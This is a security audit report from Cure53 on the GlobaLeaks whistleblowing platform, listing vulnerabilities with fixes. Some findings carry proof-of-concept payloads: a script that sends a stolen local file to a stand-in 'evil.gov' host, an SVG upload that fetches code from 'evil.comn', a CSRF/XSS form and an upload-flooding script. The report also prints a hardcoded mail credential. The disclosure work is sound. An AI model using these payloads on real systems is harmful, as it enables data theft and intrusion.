Pentest-Report Globaleaks 06.2013

Cure53, Dr.-Ing. Mario Heiderich / Gareth Heyes / Abraham Aranguren / Krzysztof Kotowicz

Index

Introduction

"GlobaLeaks is an open source software system intended to enable anonymous whistle-blowing. The GlobaLeaks organization, in addition to developing a whistle-blowing software suite, aims to promote whistleblowing to the public."[1]

This penetration-test against the Globaleaks system was carried out by four members of the Cure53 team and involved source code analysis as well as application-testing with a pre-installed VM. The VM contained the latest available versions of both Globaleaks Backend components, and the client-side implementation, which at the time of testing was available in its 0.2.0.19-2 revision.

The application was tested in an Intranet-setup, meaning that all URLs used in code examples point to a local HTTP domain rather than *.onion* domains. During the penetration-test a constant communication with the Globaleaks development team was maintained, critical flaws were reported directly upon identification, thus prompting fixes soon thereafter. The test was carried for an overall period of ten days and focused on logical flaws, DOMXSS problems, upload security and general injection bugs.

A surprisingly low amount of actual vulnerabilities have been discovered during the penetration-test. However, a larger number of general recommendations and unexploitable minor problems have been noted. The latter might aid an attacker in leaking data or preparing future setup for an actual attack, thus they need to be addressed. The most significant finding was a logic flaw that enabled an attacker to log in as a receiver (a role allowing insight to tips submitted by a whistleblower) without requiring a password.

Scope

- **Globaleaks Client**
  - URL: https://github.com/globaleaks/GLClient
- **Globaleaks Backend**
  - URL: https://github.com/globaleaks/GLBackend

1 Wikipedia: Globaleaks https://en.wikipedia.org/wiki/GlobaLeaks

Vulnerabilities

The following sections list all vulnerabilities and implementation issues spotted during our tests. Note that a chronological order for reporting has been preferred over the severity and impact degree, which is supplied for each vulnerability in the description heading.

GL01-001 Receiver Login allows password-less authentication *(**Critical**)*

The Globaleaks login system for receivers allows authentication without valid password due to a logic bug found in the authentication-handling code. The current implementation does not set the login state to *false* in case the submitted password is incorrect; only the number of invalid login requests is being incremented. The JSON response returns a valid user*_id* and *session_id* for any correct user, with an addition of an incorrect pass combination. This means an attacker can login with any password, provided that a valid username (email address) is known.

URL:http://127.0.0.1:8082/#/login
Username: test@test.test
Password: invalidpassword (any string suffices here)

Sample JSON request:

```
{"username":"test@test.test","password":"invalidpassword","role":"receiver"}
```

Sample response:

```
{"user_id": "fca3966f-ffef-4d4a-8d7a-6b24aefbe586", "session_id":
"BNfKRpuRzMjOqjro1CsTtHEmNKSpalNRbqRyoC4QcA"} < valid user and session ID
```

Expected response:

```
{"error_message": "Authentication Failed", "error_code": 29}
```

The affected code can be found in the *globaleaks/handlers/authentication.py* file:

```
if not security.check_password(password, receiver.password, receiver.username):
        security.insert_random_delay()
        receiver.failed_login += 1

if receiver.failed_login >= GLSetting.failed_login_alarm:
        log.err("Warning: Receiver %s has failed %d times the password" %\
                (username, receiver.failed_login) )

        # this require a forced commi ... ception would cause a rollback!
        store.commit()
        raise errors.InvalidAuthRequest
else: < login state is not set to logout in case password doesn't match
        log.debug("Receiver: Authorized receiver %s" % username)
        receiver.failed_login = 0
        receiver.last_access = utils.datetime_now()
        return unicode(receiver.id)
```

The vulnerability was reported and confirmed immediately upon identification. A fix was being developed by the Globaleaks immediately afterwards.

GL01-002 XSS via sniffing and JSON injection in authentication page *(Medium)*

On older versions of Internet Explorer (IE), specifically the 8/9 ones, JSON responses with unfiltered HTML characters (for instance “<” and “>”) might accidentally be interpreted as HTML, regardless of *Content-Type* header being set correctly. This happens because IE attempts to “sniff” the response by analyzing its content before evaluating the Content-Type.

By using a HTML form with a crafted name/value pair, an attacker can forge a valid JSON request to inject an invalid role, subsequently outputted on the page.

URL:http://127.0.0.1:8082/authentication
POC:

```
<form
        enctype="text/plain"
        action="http://127.0.0.1:8082/authentication" method="POST">
<input
        name='{"username":"","password":"0179176612","role":"<img src=x onerror'
        value='alert(1)>"}'>
<input type="submit">
</form>
```

Response:

```
{"error_message": "Invalid Input Format [<img src=x onerror=alert(1)>]", "error_code": 10}
```

We recommend the *X-Content-Options: NoSniff* HTTP header to be set for all responses, inclusive of error messages. Further, any JSON response should encode “<” and “>” to the respected Unicode escapes for additional security.

GL01-003 Unsafe File-Downloads in Receiver-Area causing Local XSS *(Medium)*

Currently, a receiver is able to directly download files provided by a whistleblower. In order to provide extended security for the receiver, some additional measures to protect Local XSS attacks should be taken.

URL: http://127.0.0.1:8082/#/status/a7e83702-af8a-4f6a-b018-5a49e719b6b5
Example:

```
<?php
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="test.html.secure"');
        header('X-Content-Type-Options:  nosniff');
        header('X-Download-Options:  noopen');
?>
<html><script>
x = XMLHttpRequest();
x.open('GET', 'file:///tmp/test-123.svg');
x.onload=function(){
        new Image().src='//evil.gov/?stolen='+btoa(x.responseText);
}
```

```
x.send(null);
</script></html>
```

Operating systems, much like browsers, tend to sniff content in various ways and process it accordingly. Firefox on Ubuntu, for instance, will offer to directly open any file that is applied with the ".html" file extension, while Internet Explorer will deny opening files ending with HTML but allow Local XSS using other file extensions.

Local XSS has been addressed by browser vendors multiple times in the past. As of yet, however, one cannot treat it as a resolved issue due to numerous bypasses of the installed protection features. Attackers can still read files in the same folder or zone. The Globaleaks Backend application should protect its users as much as possible, reacting to these browser quirks the following countermeasures' implementations:

- Always use the "*application/octet-stream*" MIME Content-Type[1];
- Append a string to the original filename to avoid browser-sniffing (for example, *filename="test.html.secure*);
- Make use of the "X-*Download-Options: noopen"* HTTP header[2] in order to disable the "Open" button in Internet Explorer download dialogs;
- Avoid using file extension or Content-Type black-lists as these are prone to bypasses by OS and browser quirks, as well as user-defined file-associations.

A fix to address the issue should be applied to globaleaks/handlers/file.py:

```
self.set_header('Content-Type', 'application/octet-stream')
self.set_header('Content-Length', file_details['size'])
self.set_header('X-Content-Type-Options', 'nosniff')
self.set_header('X-Download-Options', 'noopen')
self.set_header('Etag', '"%s"' % file_details['sha2sum'])
self.set_header('Content-Disposition','attachment; filename=\"%s.secure\"' %
file_details['name'])
```

GL01-004 Possible information leakage through Browser/Proxy Cache *(Medium)*

The Globaleaks node application allows browsers and intermediate proxies to cache potentially sensitive information from the authenticated section of a site. In the context of a whistleblower application, this issue may result in a prosecution by law enforcement in oppressive regimes. This may occur if either the computer of a whistleblower, receiver or administrator is seized. In that sense, a leakage through browser history would lead to incrimination.

The following demonstrates cached information of the Globaleaks application by the browser:

---

1 MDN: Configuring Server MIME-Types properly: https://developer.mozilla.org/en/docs/Properly_Configuring_Server_MIME_Types

2 MSDN No-Open HTTP Header http://blogs.msdn.com/b/mapo/archive/2007/11/12/remove-the-open-button- rom-the-file-download-dialog-box-in-internet-explorer.aspx

```
$ cd ~/.mozilla/firefox/i4b7dlcn.default/Cache
$ strings _CACHE_001_ | grep test_receiver
{"username": "receiver@gmail.com", "update_date": "Never", "description": "", "contexts":
["3e4d1fea-1f1f-4410-b976-13bf946f4da2"], "notification_fields": {"mail_address":
"receiver@gmail.com"}, "receiver_level": 1, "creation_date": "2013-06-03T17:17:35.495258",
"can_delete_submission": true, "failed_login": 0, "receiver_gus":
"7bd400de-1cb6-4ecc-8a56-00b92b4fc623", "name": "test_receiver"}
[{"update_date": "Never", "description": "", "tags": [], "contexts":
["3e4d1fea-1f1f-4410-b976-13bf946f4da2"], "can_delete_submission": true, "creation_date":
"2013-06-03T17:17:35.495258", "receiver_level": 1, "receiver_gus":
"7bd400de-1cb6-4ecc-8a56-00b92b4fc623", "name": "test_receiver"}, {"update_date": "Never",
"description": "", "tags": [], "contexts": ["3e4d1fea-1f1f-4410-b976-13bf946f4da2"],
"can_delete_submission": true, "creation_date": "2013-06-03T17:18:10.544571",
"receiver_level": 1, "receiver_gus": "f30391ec-5c6f-4394-a76c-7e9dc537e081", "name":
"test_receiver2"}]
[{"name": "test_receiver", "tags": [], "contexts":
["3e4d1fea-1f1f-4410-b976-13bf946f4da2"], "can_delete_submission": true, "access_counter":
0, "receiver_level": 1, "receiver_gus": "7bd400de-1cb6-4ecc-8a56-00b92b4fc623",
"description": ""}, {"name": "test_receiver2", "tags": [], "contexts":
["3e4d1fea-1f1f-4410-b976-13bf946f4da2"], "can_delete_submission": true, "access_counter":
0, "receiver_level": 1, "receiver_gus": "f30391ec-5c6f-4394-a76c-7e9dc537e081",
"description": ""}]
…
```

The issue exists because the Globaleaks node is not setting any of the recommendable cache control HTTP headers: Cache-Control, Pragma or Expires. In order to solve this problem, it is recommended to serve authenticated web pages with the following header values:

```
Cache-control: no-cache, no-store
Pragma: no-cache
Expires: Mon, 01-Jan-1990 00:00:00
```

These headers instruct web browsers and intermediate proxies to avoid storing this information, which may otherwise lead to incrimination of Globaleaks users. For more information on caching, visit the following resource: http://www.mnot.net/cache_docs/

GL01-014 Lack of protection against brute-forcing admin role password *(Medium)*

The Globaleaks application allows for repeated login tries for an admin role. This does not entail delays, request tickets or other measurements to prohibit high-frequent login attempts.

An exemplary request would look like this:

```
POST /authentication HTTP/1.1
Host: 192.168.3.116:8082
Proxy-Connection: keep-alive
Content-Length: 63
Accept: application/json, text/plain, */*
Origin: http://10.0.0.1:8082
X-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
Referer: http://10.0.0.1:8082/
```

```
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,pl;q=0.6

{"username":"ignore-me","password":"globaleaks","role":"admin"}
```

The username field value is being ignored. By simply modifying the password field, an attacker might brute-force the password. The application in itself does not introduce any countermeasure (like account lockout, attack slowdown by introducing time delays or e.g. CAPTCHA) against such threat.

It is recommended to enforce complex password requirements for the administrative role and/or introduce a concept of administrative username that must also be given upon authentication. A time delay upon authentication should be introduced to discourage brute-forcing attacks.

Miscellaneous

This section covers those noteworthy findings that did not lead to an exploit per se, yet they might facilitate attackers' efforts. Most of the findings are vulnerable code snippets that did not provide an easy way to be called. While the vulnerability is present, an exploit might not always be possible.

GL01-005 Log-File contains un-encoded HTML characters *(Low)*

The Globaleaks Log-File does not encode certain special characters. This might aid an attacker in exploiting LFI vulnerability on the Globaleaks Backend server. In doing so, Log-File entries containing exploit code would be first created and then include that Log-File.

As with Apache and other server-software creating logs, critical characters should be encoded (HTML entities or URL encoding). Furthermore, the log file is (read-)accessible to all users, which should be eliminated to minimize the risk for its potential usage in a Local File Inclusion exploit. This issue relates to **GL01-016**.

GL01-006 Whistleblower uploads allow flooding the server hard-disk *(Medium)*

The Globaleaks API does not distribute upload tickets to manage and prohibit mass-uploads from unauthenticated users. During our tests, we created a small JavaScript that creates upload requests sending garbage data towards the API. While the size is validated by the API, the number of uploads is not.

In our tests, we managed to create packages of 16-20 Megabytes of garbage data and used repeated requests to flood the server, filling up its hard-disk.

PoC:

```
data = 'A';
for(i=0; i<=23; i++){
```

```
data+=data;
}
x = new XMLHttpRequest();
x.open('POST',
'http://127.0.0.1:8082/submission/f5b05451-2292-439c-8fd5-99ace1238a33/file');
x.setRequestHeader('Content-Type','multipart/form-data;
boundary=--------------------------798283226194962519211654996 48')
x.setRequestHeader('Set-Cookie','hello=goodbye')
x.send('-----------------------------798283226194962519211654996 48\r\n\
Content-Disposition: form-data; name="x[y]"; filename="foobar"\r\n\
Content-Type: application/octet-stream\r\n\
\r\n\
'+data+'\r\n\
-----------------------------798283226194962519211654996 48--')
```

It is recommended to only allow uploads if a valid ticket is used by the uploader. The ticket can be generated individually with each upload request. If a ticket is used twice or no ticket is present, the upload will be aborted with no file created on the server's hard-disk. During the discussion with the development team it was discovered that the issue is known and countermeasures are planned for future releases.

GL01-007 Crafted File-Uploads allow Content-Type Spoofing *(Low)*

The Globaleaks application currently trusts the client-provided data for correct meta-data delivery in regards to uploaded files. An attacker can thus upload an executable or HTML/SVG file and simply declare the MIME-Type to be *text/plain,* to give one example. The Globaleaks application will display the attacker-provided MIME-Type and not verify whether the file is actually *text/plain* or contains potentially dangerous data. This may lead to a system compromise for the trusting user who happens to open that very file.

PoC:

```
x = new XMLHttpRequest();
x.open('POST',
'http://127.0.0.1:8082/submission/f5b05451-2292-439c-8fd5-99ace1238a33/file');
x.setRequestHeader('Content-Type','multipart/form-data;
boundary=--------------------------798283226194962519211654996 48')
x.send('-----------------------------798283226194962519211654996 48\r\n\
Content-Disposition: form-data; name="x[y]"; filename="evil.svg"\r\n\
Content-Type: text/plain\r\n\
\r\n\
<svg onload=deployApplet('//evil.comn/attack.class')>\r\n\
-----------------------------798283226194962519211654996 48--')
```

It is recommended to either treat all uploaded files as potentially malicious and omit the MIME-Type information or use a library to determine the MIME-Type properly.

GL01-008 X-Frame-Options header not present *(Low)*

The X-Frame-Option header should be present on all pages to prevent clickjacking-based attacks and disabling compatibility mode inheritance on Internet Explorer. At the moment no header is present, meaning that every page is allowed to be framed from an external site.

We recommend that X-Frame-Options are returned with every response. If frames are used on the site, then *X-Frame-Options:sameorigin* should be used. Analogically, if no frames are required, *X-Frame-Options: deny* should be used.

GL01-009 Login/File upload sections do not have CSRF tokens *(Low)*

Both the file upload and login sections are not protected by tokens. This indicates that a remote site can force users to login or upload files for a possible incrimination of a target. The issue should be linked to **GL01-006** ticket.

URL:http://127.0.0.1:8082/#/login
URL:http://127.0.0.1:8082/submission/4a3140ac-f447-4a12-ae9c-ba8c30f79050/file

A CSRF token/ upload ticket should be generated. It should be placed in the DOM and sent via XHR for validation.

GL01-010 Admin role does not have a username *(Low)*

The admin user level does not have a valid username. To authenticate with admin privileges you only need to supply a valid password and admin role type. With no valid username, this increases the likelihood of a brute force attack. In a nutshell, an attacker only has to try password combinations rather than username/password combinations. If account lockout procedures were in place for the admin account, it would be possible to DoS this account by repeatedly triggering protection. Additionally, because the admin account is not changeable and is publicly known, there would be no countermeasure other than IP filtering and increasing the failed login attempts count.

We recommend that the role of “admin” is customizable on installation and randomized. Alternatively, admin accounts should have usernames which are customizable and contain a blacklist of known admin accounts.

GL01-011 Admin-Uploads functional despite content filter/validation *(Low)*

URL: http://127.0.0.1:8082/#/admin/content
Example: http://127.0.0.1:8082/static/test.svg (possible XSS, possible local XSS)

Console output:

```
----------------------------210497976083562304520043125 49 Content-Disposition: form-data;
name="hidden_service" ----------------------------210497976083562304520043125 49
Content-Disposition: form-data; name="public_site"
----------------------------210497976083562304520043125 49 Content-Disposition: form-data;
name="profile"; filename="test.svg" Content-Type: image/svg+xml <svg
xmlns="http://www.w3.org/2000/svg"> <circle r="40" fill="red">
<script>alert(location)</script> </circle> </svg>
----------------------------210497976083562304520043125 49--

uploading to /admin/staticfiles?globaleaks_logo
412 Precondition Failed
```

```
"NetworkError: 412 Precondition Failed - http://127.0.0.1:8082/admin/staticfiles?
globaleaks_logo"
static...ks_logo
There was a problem
All complete
```

It is possible to upload files to the Globaleaks Backend server, even though the system has flagged them invalid. It is recommended not to upload an image file if it does not pass the application's validation routine.

GL01-012 Default admin credentials and search engine indexing *(Medium)*

The default Globaleaks installation results in a setup where administrator credentials are known, public and default, while no protection against search engine indexing (i.e. no *robots.txt* file) is granted. This may facilitate:

- Finding the Globaleaks node via search engines
- Gaining remote admin access to the front-end of the Globaleaks node via default credentials (also published in the wiki[1]).

This vulnerability is partially mitigated because an administrator is prompted to change the default password once they login through the front-end. Therefore, the Globaleaks node only listens for connections from *localhost* by default. However, it may still be possible for said administrator to make the node site publicly available, thus enabling remote access from all IPs before they change the default admin password. In order to prevent this issue from occurring, we suggest the following solutions:

- The installation scripts and/or the process that starts globaleaks should prompt the user to choose a long and complex password in the first instance, ensuring that Globaleaks default passwords no longer constitute a problem.
- The default installation should encompass a *robots.txt* file containing the following[2]:

```
User-agent: *
Disallow: /
```

This configuration ensures that search engine indexing is not allowed by default, so that Globaleaks node administrators would be significantly less likely to become Google Dorks[3].

1 Github: Globaleaks Configuration Guide https://github.com/globaleaks/GlobaLeaks/wiki/Configuration-guide#step-2---login-as-admin
2 Robots & Useragent http://www.pinnaclepixel.com/robots-useragent.html
3 Google Dorks http://www.exploit-db.com/google-dorks/

GL01-013 Potential Arbitrary File writes on non-default configuration *(Low)*

Please note that this issue has been ranked as low because it only seems to happen in a non-default configuration.

If cyclone debugging is enabled[3], it may be possible to write arbitrary files through a tampered HTTP verb. This seems to be due to the following code section:

```
def do_verbose_log(self, content):
        """
       Record in the verbose log the content as defined by Cyclone wrappers.
       """
filename = "%s%s" % (self.request.method.upper(),
self.request.uri.replace("/", "_") )
        # this is not a security bug, no arbitrary patch can reach this point,
        # but only the one accepted by the API definitions

        logfpath = os.path.join(GLSetting.cyclone_io_path, filename)

        with open(logfpath, 'a+') as fd:
            fdesc.writeToFD(fd.fileno(), content)
```

Saving files with unintended filenames and content can be a consequence:
HTTP Verb: `../../Example`
URI: `.html`
Content: `<script>alert(1)</script>`

There are two factors that significantly mitigate this issue:

- This can only happen when cyclone debugging is enabled (not the default Globaleaks configuration)
- The uppercase conversion in `self.request.method.upper()` makes it unfeasible to match lowercase directories to, for example, try to place a file under `/var/globaleaks/files/static/` via `../static/`

GL01-015 Application log file contains administrator password *(Low)*

Please note that this issue has been ranked as low because it only seems to happen in a non-default configuration.

Application log file contains relevant information which includes session ids (may be used for session hijacking) and plaintext administrator password (logged in the event of changing administrator password). Authentication data should never be stored in log files - even if the required log level is to be enabled manually.

---

3 Github: GLBackend – settings.py https://github.com/globaleaks/GLBackend/blob/778825656533bf92edb087281a2c54bc60e881c8/globaleaks/settings.py#L98

```
log.info("Administrator password update %s => %s" %
         (request['old_password'], request['password'] ))
```

GLBackend/globaleaks/handlers/admin.py, update_node function

```
2013-06-06 16:29:20+0100 [D] Authentication OK (admin)
xNQcH2G2fi1LRU5jaxBTgFPJJVUMMbnLDYb58fCQ9Z
2013-06-06 16:29:21+0100 [-] Administrator password update globaleaks => globaleaks2
```

Globaleaks.log file contents after administrative password change

Additional sensitive information, such as authentication tokens, is also leaked via log files on alternative non-default configurations like “DEBUG”:

```
2013-06-06 16:32:42+0100 [D] Authentication OK (admin)
m1wZeogePMGifcsKjn1kJs8TfrXDxDFa2gS0k0CYy1
```

In order to mitigate this problem, authentication credentials and tokens should not be written into log files.

GL01-016 Weak filesystem permissions enable local attacks *(Medium)*

When one is using the Globaleaks recommended guidelines and installation scripts, the default filesystem permissions enable a number of local attacks. Please note that the following enumeration does not constitute an exhaustive list. The default permissions allow read-, write- and execute-access to all system users in a number of sensitive Globaleaks directories:

```
$ ls -l /var/globaleaks/
drwxrwxrwx 2 globaleaks globaleaks 4096 Jun  6 16:32 db
drwxrwxrwx 4 globaleaks globaleaks 4096 May 31 16:07 files
drwxrwxrwx 4 globaleaks globaleaks 4096 Jun  6 18:15 log
drwx------ 2 debian-tor debian-tor 4096 Jun  6 08:00 torhs
```

Globaleaks log files are created with world-readable permissions, prompting them to enable other attacks reported separately in this document (i.e. leakage of admin credentials, session tokens, etc).

```
$ ls -l
-rw-r--r-- 1 globaleaks globaleaks 2397 Jun  6 20:33 globaleaks.log
```

Globaleaks log rotation enables any system user to overwrite arbitrary Globaleaks files by creating a symlink to a critical file. For instance a symbolic link could be created to *globaleaks.log.6* before it exists. All users can write to: */var/globaleaks/log*) to overwrite */var/globaleaks/db/glbackend.db* effectively deleting all the information in the node database. Write-access to the static files directory means that any system user could place HTML or other malicious files in a remotely accessible URL:

```
$ ls -l /var/globaleaks/files
drwxrwxrwx 2 globaleaks globaleaks 4096 Jun  6 16:10 static
```

Continuously, writeable access to submissions directory enables symlink attacks to overwrite arbitrary files with the permissions of the Globaleaks user. This is significantly easier to accomplish with the use of the log rotation symlink attack described above:

```
$ ls -l /var/globaleaks/files/
drwxrwxrwx 2 globaleaks globaleaks 4096 Jun  5 21:02 submission
```

The issue exists in the *create_directories()*[1] method within the globaleaks/settings.py file, which is invoked by the Globaleaks install script[2]. The problem has to do with the default behavior of *os.makedirs()* in Python, *os.mkdir()* is called as follows[3]:

```
os.mkdir(path)
```

The Python documentation on *os.mkdir*[4] indicates the following:

```
os.mkdir(path[, mode])
Create a directory named path with numeric mode mode. The default mode is 0777 (octal). On
some systems, mode is ignored. Where it is used, the current umask value is first masked
out. If the directory already exists, OSError is raised.
```

Although some system configurations might mitigate this problem through system-supplied *umask* values, it is recommended to consider running *os.mkdir()* as illustrated below to explicitly correct this issue:

```
os.mkdir(path, 0700)
```

Globaleaks will track this problem under the issue 303[5].

GL01-017 Readable hard-coded credentials might compromise users (*Low*)

The Globaleaks settings file must be saved with world-readable permissions or, at the very least, the permissions that allow the Globaleaks user to run it. However, this file also contains credentials in clear-text, which might be edited by those users who forward emails to themselves:

```
$ ls -l /usr/share/pyshared/globaleaks/settings.py
-rw-r--r-- root root 19548 Jun 6 16:29 /usr/share/pyshared/globaleaks/settings.py
```

Inside the settings file the following information might be edited by desperate administrators trying to debug a problem:

---

1 https://github.com/globaleaks/GLBackend/blob/778825656533bf92edb087281a2c54bc60e881c8/globaleaks/settings.py#L314
2 https://github.com/globaleaks/GLBackend/blob/778825656533bf92edb087281a2c54bc60e881c8/bin/globaleaks#L180
3 https://github.com/globaleaks/GLBackend/blob/778825656533bf92edb087281a2c54bc60e881c8/globaleaks/settings.py#L328
4 http://docs.python.org/2/library/os.html
5 https://github.com/globaleaks/GlobaLeaks/issues/303

```
# unhandled Python Exception are reported via mail
self.error_reporting_username= "stackexception@globaleaks.org"
self.error_reporting_password= "stackexception99"
self.error_reporting_server = "box549.bluehost.com"
self.error_reporting_port = 465
```

To approach this potentially damaging scenario, these credentials should be saved in an alternative location (perhaps in the database), and should ideally be protected with encryption, regardless of the key being probably located on the same server.

Conclusion

The Globaleaks system made a rather mature impression in terms of application security and design. Aside from a single logic flaw causing the first vulnerability to be classified as critical, no further comparably severe issues were spotted. The pentest-team was often confronted with “almost there” situations. Those were scenarios where an actual vulnerability was just a step away, yet no actual exploit could be developed thanks to at least one security barrier remaining in place. During the tests these findings were discussed with the Globaleaks development which was present for feedback and support night and day.

One of these “almost there” situations deserves a more detailed mention as it led the testers to a point of being just inches away from a full-stack remote code execution based on a specific Python feature. Specifically, the Globaleaks application makes use of Pickle storm fields[1], which will load input from the database by the use of the insecure pickle.loads[2] [3] function. This could be a concern if a new functionality writes to the database directly in the future. The issue only seemed exploitable during testing via direct DB write access; the application will execute data from Pickle columns when *pickle.loads()* is called by *storm*. Globaleaks will replace Pickle columns with the safer JSON data type to mitigate this in the future (Issue 295[4]).

Some problems affecting the transport security of transmitted tips were addressed as well. Under certain configurations it may be possible that whistleblowers, admins and receivers access the Globaleaks node insecurely, for example, by going through a Tor exit node and having their credentials sent in clear-text. This was discussed with the Globaleaks team which will improve the installation scripts to reduce the potential of less secure deployments, additionally making sure that SSL and HSTS[5] are correctly deployed and enforced.

---

1 Compressed Pickle and RawStrings http://comments.gmane.org/gmane.comp.python.storm/1430
2 Exploiting Pickle http://blog.nelhage.com/2011/03/exploiting-pickle/
3 Why Pickle is insecure http://michael-rushanan.blogspot.com/2012/10/why-python-pickle-is-insecure.html
4 Globaleaks Issue 295 https://github.com/globaleaks/GlobaLeaks/issues/295
5 Wikipedia: HSTS http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security

A similarly close hit was resulting from a test for DOMXSS vulnerabilities in the AngularJS library the Globaleaks Client uses. The team identified a way to execute arbitrary code and get access to the global window using the *scope.$eval()* method (AngularJS Expressions[1]).Nevertheless, only one way to influence the string passed as argument could be identified - and that string could in turn only be influenced by an admin user with extended privileges: It was the main-title of the Globaleaks installation.

As can be seen in the report, a majority of reported issues ended up being classified as “Miscellaneous” - problems that are either non-exploitable at present or require a complex set-up / strong attacker to be carried out with malicious intent in an ultimately successful manner. Globaleaks has proven to be in a rather strong state, despite the relatively young age of its code and architecture. The code quality was perceived as generally high. It was easy for the testers to quickly comprehend the code and carry out an effective and efficient source code audit without noteworthy hindrance. The development seems to be aware of common and uncommon security risks and capable of handling the responsibility that a software project like Globaleaks requires. Some work needs to be put into wording of advice for the Globaleaks users. In that sense, it needs to be ensured in an absolutely unambiguous and unmistakable way that very strong passwords are mandatory. Similarly, it must be clear that downloaded files should never be trusted, as they can completely de-anonymize the user (or worse). The users should be aware that a shared workstation poses risks even long after a successful logout, just like a compromised Globaleaks Backend is always a risk to be kept in mind.

We further recommend avoiding an exclusive reliance on the security evaluation from one single team. We envision an arrangement of second penetration test being carried out by a different penetration-test team, provided that circumstances allow (and continue to do so before major releases). The importance of having this application to be “as secure as possible” is exceptionally high, so while we were giving our best to the task at hand, we can never claim perfection or grant full assurance of having identified each and every risk.

Cure53 would like to thanks the entire Globaleaks team for their support and assistance during this assignment.

1 AngularJS Expressions http://docs.angularjs.org/guide/expression